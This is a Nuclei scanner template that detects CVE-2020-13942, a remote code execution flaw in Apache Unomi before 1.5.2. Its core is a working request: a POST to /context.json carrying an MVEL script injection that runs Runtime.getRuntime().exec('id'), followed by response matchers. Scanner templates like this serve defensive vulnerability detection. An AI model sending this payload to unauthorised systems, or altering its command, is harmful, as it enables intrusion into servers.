id: CVE-2020-13942

info:
  name: Apache Unomi <1.5.2 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    Apache Unomi allows conditions to use OGNL and MVEL scripting which
    offers the possibility to call static Java classes from the JDK
    that could execute code with the permission level of the running Java process.
    This vulnerability affects all versions of Apache Unomi prior to 1.5.2.
  reference:
    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
    - https://twitter.com/chybeta/status/1328912309440311297
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13942
    - http://unomi.apache.org./security/cve-2020-13942.txt
    - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E
  remediation: Apache Unomi users should upgrade to 1.5.2 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13942
    cwe-id: CWE-74
    cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*
    epss-score: 0.9752
  tags: cve,cve2020,apache,rce
  metadata:
    max-request: 1

http:
  - method: POST
    path:
      - "{{BaseURL}}/context.json"
    headers:
      Content-Type: application/json
    body: |
      {
        "filters": [
          {
            "id": "nuclei",
            "filters": [
              {
                "condition": {
                  "parameterValues": {
                    "nuclei": "script::Runtime.getRuntime().exec('id')"
                  },
                  "type": "profilePropertyCondition"
                }
              }
            ]
          }
        ],
        "sessionId": "nuclei"
      }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "(profile|session)(Id|Properties|Segments)"
          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"
          - "context-profile-id"
        condition: and

      - type: status
        status:
          - 200
# Enhanced by mp on 2022/05/16